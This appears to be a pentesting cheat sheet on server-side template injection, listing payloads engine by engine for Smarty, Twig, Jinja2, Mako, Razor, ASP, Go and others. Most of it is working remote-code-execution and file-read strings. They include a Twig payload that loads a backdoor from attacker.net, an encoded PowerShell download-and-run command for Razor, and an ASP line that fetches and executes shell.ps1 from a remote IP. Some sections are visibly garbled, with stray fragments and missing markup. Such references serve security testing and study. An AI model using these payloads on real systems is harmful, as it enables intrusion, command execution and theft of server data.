# SSTI (Server Side Template Injection)

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[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. {% embed url="https://www.rootedcon.com/" %} ## ### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **More information** * In Smarty section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{7*'7'}} = 49` * `{{1/0}} = Error` * `{{foobar}} Nothing` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id',""]|sort('system')}} #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}} ``` **Twig - Template format** ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **More information** * In Twig and Twig (Sandboxed) section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) Plates is a templating engine native to PHP, drawing inspiration from Twig. However, unlike Twig, which introduces a new syntax, Plates leverages native PHP code in templates, making it intuitive for PHP developers. Controller: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` Page template: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` Layout template: ```html <?=$this->e($title)?> section('content')?> ``` **More information** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates) ### PHPlib and HTML\_Template\_PHPLIB (PHP) [HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is the same as PHPlib but ported to Pear. `authors.tpl` ```html {PAGE_TITLE}

Authors
Name	Email
{NUM_AUTHORS}
{AUTHOR_NAME}	{AUTHOR_EMAIL}

` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - Template format** ```python {% raw %} {% extends "layout.html" %} {% block body %}

{{ user.username }}

{% endblock %} {% endraw %} ``` [**RCE not dependant from**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **More details about how to abuse Jinja**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} Other payloads in [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) ### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` **More information** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) ### Razor (.Net) * `@(2+2) <= Success` * `@() <= Success` * `@("{{code}}") <= Success` * `@ <=Success` * `@{} <= ERROR!` * `@{ <= ERRROR!` * `@(1+2)` * `@( //C#Code )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **More information** * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-$SSTI$-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) ### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo * `<%= foo %>` = Nothing * `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **More Information** * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) ### Mojolicious (Perl) Even if it's perl it uses tags like ERB in Ruby. * `<%= 7*7 %> = 49` * `<%= foobar %> = Error` ``` <%= perl code %> <% perl code %> ``` ### SSTI in GO In Go's template engine, confirmation of its usage can be done with specific payloads: * `{{ . }}`: Reveals the data structure input. For instance, if an object with a `Password` attribute is passed, `{{ .Password }}` could expose it. * `{{printf "%s" "ssti" }}`: Expected to display the string "ssti". * `{{html "ssti"}}`, `{{js "ssti"}}`: These payloads should return "ssti" without appending "html" or "js". Further directives can be explored in the Go documentation [here](https://golang.org/pkg/text/template). **XSS Exploitation** With the `text/template` package, XSS can be straightforward by inserting the payload directly. Contrastingly, the `html/template` package encodes the response to prevent this (e.g., `{{""}}` results in `<script>alert(1)</script>`). Nonetheless, template definition and invocation in Go can bypass this encoding: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code **RCE Exploitation** RCE exploitation differs significantly between `html/template` and `text/template`. The `text/template` module allows calling any public function directly (using the “call” value), which is not permitted in `html/template`. Documentation for these modules is available [here for html/template](https://golang.org/pkg/html/template/) and [here for text/template](https://golang.org/pkg/text/template/). For RCE via SSTI in Go, object methods can be invoked. For example, if the provided object has a `System` method executing commands, it can be exploited like `{{ .System "ls" }}`. Accessing the source code is usually necessary to exploit this, as in the given example: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **More information** * [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### More Exploits Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF {% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %} ## Related Help If you think it could be useful, read: * [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md) * [Python magic functions](broken-reference/) ## Tools * [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) * [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap) * [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) * [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) ## Brute-Force Detection List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ## Practice & References * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)

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